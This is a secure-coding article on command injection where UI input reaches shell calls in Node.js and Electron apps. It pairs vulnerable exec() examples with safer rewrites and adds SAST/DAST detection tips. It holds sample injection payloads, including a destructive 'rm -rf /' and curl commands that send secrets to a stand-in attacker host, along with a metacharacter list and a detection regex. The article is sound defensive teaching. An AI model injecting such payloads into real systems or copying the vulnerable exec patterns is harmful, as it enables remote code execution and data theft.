JWT Strength and Weaknesses
React2Shell Vulnerability Explained: Risks, Examples, and Prevention Techniques
react2shell (used here as a short-hand name) describes a family of risky patterns where user-controlled data originating in a React UI (or other renderer/HTTP input) flows into code that executes shell commands. That can happen in full-stack apps (React → API → child_process.exec), in server-side rendering, or in desktop apps built with Electron where renderer code has access to Node APIs. The result: command-injection, remote code execution, data theft, privilege escalation.
This article explains the dangers, shows realistic vulnerable examples, and gives practical, code-level prevention patterns.
Why this is dangerous?
- Command injection / RCE — If attacker-controlled strings reach a shell invocation, they can append extra commands (e.g.,
; rm -rf /) or inject shell metacharacters to run arbitrary code. - Privilege escalation — If the service runs with elevated permissions, injected commands execute with those privileges.
- Data exfiltration — Attackers can read files and send them to remote endpoints.
- Lateral movement — In Electron or internal tools, shell access can let an attacker pivot to other systems.
- Supply-chain & dependency risk — A seemingly benign dependency or code path may expose a function that builds and runs shell commands with user input.
Common vulnerable scenarios
- Backend APIs that shell out using user input
// Vulnerable: Node.js + Express
const { exec } = require('child_process');
app.get('/ping', (req, res) => {
// attacker controls req.query.host
const host = req.query.host;
exec(`ping -c 1 ${host}`, (err, stdout, stderr) => {
if (err) return res.status(500).send(stderr);
res.send(stdout);
});
});If host is example.com; curl http://attacker/pwn -o /tmp/x, the command executes both ping and the injected curl.
-
Server-side rendering or tooling that interpolates user data into shell commands
Example: a build pipeline that lets users specify a theme name used directly in shell commands (e.g.,
cp -r themes/${theme} ...). -
Electron apps with
nodeIntegration: trueorcontextIsolation: falseRenderer code can call
require('child_process')directly. If a React view allows arbitrary plugin names or paths and passes them to shell calls, local RCE is easy. -
Poorly-sanitized templates or exec of dynamically-created scripts
Building a script by concatenation and executing it (even via
shorbashwrappers) is risky.
Concrete safe alternatives & patterns
1) Avoid invoking a shell whenever possible
Prefer APIs or native libraries. Example: instead of exec('ls ...'), use Node's fs APIs.
2) Use spawn/execFile with argument arrays (no shell interpolation)
When you must run external programs, pass arguments as an array so the runtime doesn't perform shell parsing.
Vulnerable → Safer:
// BAD: uses shell parsing
exec(`convert ${userPath} -resize 200x200 ${outPath}`, ...);
// GOOD: pass args (no shell)
const { spawn } = require('child_process');
const proc = spawn('convert', [userPath, '-resize', '200x200', outPath]);
proc.on('close', code => { /* ... */ });spawn('cmd', ['arg1', 'arg2']) avoids shell metacharacter interpretation.
3) Whitelist and validate inputs
Never accept arbitrary strings that will become command arguments. Validate against a strict whitelist or pattern.
Example — whitelist hostnames:
function isValidHostname(h) {
// simple example — prefer a stricter check (RFC-compliant).
return /^[a-zA-Z0-9.-]{1,253}$/.test(h);
}
app.get('/ping', (req, res) => {
const host = req.query.host;
if (!isValidHostname(host)) return res.status(400).send('invalid host');
// safe to use as argument (still pass as array)
const proc = spawn('ping', ['-c', '1', host]);
// ...
});For filenames, use strict patterns (^[\w-]{1,50}\.txt$) or map user choices to internal IDs rather than raw paths.
4) Escape only when absolutely necessary — and use battle-tested libraries
If you must shell-escape, use a library such as shell-quote or shlex (Node packages exist). But escaping is brittle — prefer other mitigations.
const shellQuote = require('shell-quote').quote;
const safeArg = shellQuote([userInput]);
exec(`doSomething ${safeArg}`);Even with escaping, passing args as an array is preferable.
5) Least privilege and containment
- Run processes with restricted OS user accounts.
- Use containers (Docker) or sandboxes for untrusted execution.
- Disable dangerous features in Electron (
nodeIntegration: false,contextIsolation: true).
Electron example:
// In main process when creating BrowserWindow — safer settings
new BrowserWindow({
webPreferences: {
nodeIntegration: false,
contextIsolation: true,
enableRemoteModule: false,
}
});6) Avoid exposing Node APIs to renderer UI
If a renderer must request privileged operations, use a controlled IPC bridge with explicit channels and strict validations.
Main process:
const { ipcMain } = require('electron');
const { spawn } = require('child_process');
ipcMain.handle('app:run-ping', async (event, host) => {
if (!isValidHostname(host)) throw new Error('invalid host');
return await runPing(host); // implement safely
});Renderer (React):
// uses window.api.runPing(...) — small, validated surface only7) Use parameterized call variants when available
Some libraries provide API methods that accept parameters safely (e.g., some CLI wrappers or SDKs). Prefer those.
Example: vulnerable full-stack flow and secure rewrite
Vulnerable (full shell string)
server.js:
// Vulnerable
app.post('/backup', (req, res) => {
const filename = req.body.filename; // attacker-controlled
// dangerous concatenation -> shell
exec(`tar -czf /backups/${filename}.tgz /data`, (err) => {
if (err) return res.status(500).send('fail');
res.send('ok');
});
});If filename is x.tgz; curl http://attacker/s/$(cat /secrets) that executes extra commands.
Secure rewrite
const path = require('path');
const { spawn } = require('child_process');
function sanitizeBasename(name) {
// allow only letters, numbers, dash, underscore and limit length
if (!/^[\w-]{1,50}$/.test(name)) throw new Error('invalid name');
return name;
}
app.post('/backup', (req, res) => {
let name;
try { name = sanitizeBasename(req.body.filename); }
catch (e) { return res.status(400).send('invalid filename'); }
const outPath = path.join('/backups', `${name}.tgz`);
const tar = spawn('tar', ['-czf', outPath, '/data']);
tar.on('close', code => {
if (code !== 0) return res.status(500).send('tar failed');
res.send('ok');
});
});Notes:
- No shell used.
- Input is strictly validated.
path.joinavoids accidental path traversal when combined with validation.
Detection and testing
- SAST rules: scan code for use of
exec,execSync,spawnwithshell: true,new Function,eval,child_process.execFileused incorrectly. Flag concatenation of user-controlled values into command strings. - DAST / Pentest: fuzz endpoints that cause backend to run OS commands; try injecting shell metacharacters (
;,&&,|,$(...), backticks). - Dependency scanning: check for packages that spawn shells or run system utilities.
- Logs & IDS: monitor outbound connections, unusual commands, or processes spawning
curl,nc,wget. - Unit tests/CI: include tests asserting that inputs outside whitelist are rejected; Snyk/Dependabot/NPM audit for vulnerable packages.
SAST pseudo-check: look for regex matches like:
(child_process\.(exec|execSync|spawn).*["'`]|\bexec\()\s*.*(req\.body|req\.query|process\.env)
(Implement using your chosen code-scanning tooling and refine to reduce false positives.)
Practical hardening checklist
- Eliminate shell usage where possible; prefer native APIs.
- Where external programs are required, use
spawn/execFilewith argument arrays. - Whitelist and validate all inputs that map to filenames, hosts, commands, or program args.
- Disable Node integration in Electron renderers and use vetted IPC channels.
- Run untrusted workloads in isolated accounts/containers.
- Add SAST/DAST scans to CI and monitor for regressions.
- Log and alert on suspicious process invocation and outbound network patterns.
- Keep dependencies and vulnerable packages updated; avoid packages that encourage shell eval.
- Educate dev teams about command-injection and safe process APIs.
Quick reference — do / don't
Do:
- Use
spawn('prog', [arg1,arg2]). - Map user-friendly identifiers to internal resources (ID → filename map).
- Validate strictly, fail closed.
- Use container or sandbox for risky execution.
Don't:
exec(\`...${user}\`)or any string interpolation into a shell invocation.- Enable
nodeIntegrationin Electron unless you absolutely know what you're doing. - Trust client-side validation alone — always validate server-side.
Example: Electron bridge pattern (safe)
preload.js (context-isolated):
const { contextBridge, ipcRenderer } = require('electron');
contextBridge.exposeInMainWorld('api', {
runPing: (host) => ipcRenderer.invoke('app:run-ping', host)
});main.js:
ipcMain.handle('app:run-ping', async (event, host) => {
if (!isValidHostname(host)) throw new Error('invalid host');
// call spawn/execFile in main process (with least privileges)
return await runPing(host);
});renderer (React):
// call window.api.runPing('example.com')This pattern narrows the attack surface to one validated IPC call.
Final notes
- The phrase "react2shell" isn't a single vulnerability class limited to React — it's a useful shorthand for any flow that takes UI-controlled input and ends up in shell execution.
- The safest posture: never send user-controlled strings to a shell. When shelling out is unavoidable, combine argument arrays, strict validation/whitelists, sandboxing, and least privilege.
- When evaluating existing code, search for
exec,execSync,spawn(..., { shell: true }), template literals combining user input, and Electron windows withnodeIntegration: true.